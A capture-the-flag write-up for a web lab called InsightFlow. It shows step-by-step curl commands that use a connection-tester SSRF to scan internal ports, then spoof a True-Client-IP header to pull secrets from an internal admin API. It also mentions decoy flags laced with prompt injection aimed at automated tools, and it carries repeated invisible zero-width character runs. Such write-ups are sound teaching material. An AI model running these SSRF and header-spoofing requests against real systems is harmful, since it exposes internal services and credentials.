← Back to Writeups
CUSTOMMediumWeb

Lab 287 — InsightFlow — SSRF via Host Header Routing and IP Spoofing

XESXOR9/10/20264 min read
#web#custom#medium#header_injection_via_ssrf#honeypot_flag_detection#internal_port_scanning_via_ssr#ip_based_auth_bypass#javascript_source_analysis#nginx_reverse_proxy_bypass#ssrf_via_connection_tester#true_client_ip_header_spoofing#linux

Lab 287 — InsightFlow — SSRF via Host Header Routing and IP Spoofing

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-15 | Status: Solved Techniques: header_injection_via_ssrf, honeypot_flag_detection, internal_port_scanning_via_ssrf, ip_based_auth_bypass, javascript_source_analysis, nginx_reverse_proxy_bypass, ssrf_via_connection_tester, true_client_ip_header_spoofing

Summary

Task: Analytics platform with nginx reverse proxy, Express.js app, and internal admin API on separate port — SSRF via connection tester with header injection. Solution: Discovered internal admin API on port 3001 via SSRF port scan, then bypassed IP-based access control by injecting True-Client-IP: 127.0.0.1 header through the SSRF endpoint's headers parameter to retrieve secrets.

Lab 287 — InsightFlow — HackAdvisor

Description

InsightFlow is a real-time analytics platform built by FlowMetrics Inc. that helps teams track key business metrics, generate reports, and manage data source integrations. The platform features a customizable dashboard with interactive charts, scheduled report generation with CSV export, and a REST API for event ingestion.

Your goal is to find and exploit a vulnerability that allows you to access sensitive internal services that should not be publicly accessible. Pay close attention to how the application infrastructure handles routing and trust boundaries between services. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A multi-service analytics platform with nginx reverse proxy (port 8080), Express.js main app (port 3000), and an internal admin API (port 3001). The admin API uses IP-based access control via the True-Client-IP header. A "Test Endpoint Connection" feature provides an SSRF vector that also allows injecting arbitrary headers into internal requests.

Analysis

Architecture Discovery

The platform runs a three-tier architecture:

ComponentPortHostname
nginx 1.25.5 reverse proxy8080public-facing
Express.js main app3000localhost
Admin API service3001admin.internal
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Information Disclosure

  1. robots.txt disclosed sensitive paths:

    Disallow: /api/admin/
    Disallow: /internal/
    
  2. JavaScript source comments leaked internal architecture:

    • /js/app.js: reference to admin.internal/api/admin/health
    • /js/dashboard.js: var ADMIN_API_HOST = 'admin.internal'; // internal service — do not expose
  3. Health endpoint (/api/health) confirmed the stack:

    json
    {"service":"InsightFlow Analytics","status":"healthy","version":"2.4.1","proxy":"nginx"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Vector

The /data-sources page contains a "Test Endpoint Connection" feature that sends a POST request to /api/data-sources/test with a JSON body containing a url parameter — a classic SSRF vector.

Internal Port Scanning via SSRF

Using the SSRF endpoint to probe localhost ports:

  • Port 3000: Main Express app (302 redirect to /login)
  • Port 3001: Admin API — returned 404 with endpoint listing:
    json
    ["GET /api/admin/health", "GET /api/admin/config", "GET /api/admin/secrets"]
  • Port 8080: nginx proxy ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Access Control Mechanism

Hitting the admin health endpoint via SSRF revealed the access control scheme:

json
{
  "service": "InsightFlow Admin API",
  "status": "operational",
  "version": "2.4.1",
  "access_control": "IP-based (True-Client-IP header)",
  "endpoints": ["GET /api/admin/health", "GET /api/admin/config", "GET /api/admin/secrets"]
}

The admin API trusts the True-Client-IP header for IP-based authentication — a critical misconfiguration when the header can be injected by an attacker. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Flags

HTML pages contained decoy flags in hidden divs and HTML comments:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

These were accompanied by prompt injection text designed to trick automated tools. Correctly identified and ignored.

Solution

Step 1: Authenticate

Login with provided credentials analyst@insightflow.io / analyst123 and capture session cookies.

bash
URL="https://edb7f2be-b030-4fd0-84e6-450c919f0979.labs.hackadvisor.io"

curl -sk -c cookies.txt -X POST "$URL/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=analyst@insightflow.io&password=analyst123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Confirm SSRF and discover internal services

bash
# Scan port 3001 — discover admin API
curl -sk -b cookies.txt -X POST "$URL/api/data-sources/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/"}'

Response reveals admin API endpoints including /api/admin/secrets.

Step 3: Attempt direct SSRF to secrets (fails — 403)

bash
curl -sk -b cookies.txt -X POST "$URL/api/data-sources/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/api/admin/secrets"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"status":403,"body":"{\"error\":\"Forbidden\",\"message\":\"Admin API access restricted to internal network\"}"}

Step 4: Bypass IP-based auth via header injection

The SSRF endpoint accepts a headers parameter, allowing injection of arbitrary headers into the internal request. Inject True-Client-IP: 127.0.0.1 to spoof the source IP:

bash
curl -sk -b cookies.txt -X POST "$URL/api/data-sources/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/api/admin/secrets", "headers": {"True-Client-IP": "127.0.0.1"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "status": 200,
  "body": "{\"platform_secrets\":{\"flag\":\"FLAG{REDACTED}\",\"jwt_signing_key\":\"hs256-insightflow-prod-9f8a7b6c\",\"database_encryption_key\":\"aes256-d4e5f6a7b8c9\",\"internal_api_token\":\"iat_prod_xK9mN2pQ7rS4tU1v\",\"smtp_password\":\"SG.xYz123AbC.dEf456GhI\"},\"last_rotated\":\"2025-12-15T00:00:00Z\",\"rotation_policy\":\"90 days\"}"
}

Failed Approaches

ApproachResult
Direct access to /api/admin/* on main app404 — routes don't exist on the Express app
Host: admin.internal header on external requestnginx 500 — routing misconfiguration
True-Client-IP header on outer HTTP requestNot forwarded to admin service by SSRF proxy
SSRF to admin API without headers parameter403 Forbidden — IP check fails
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍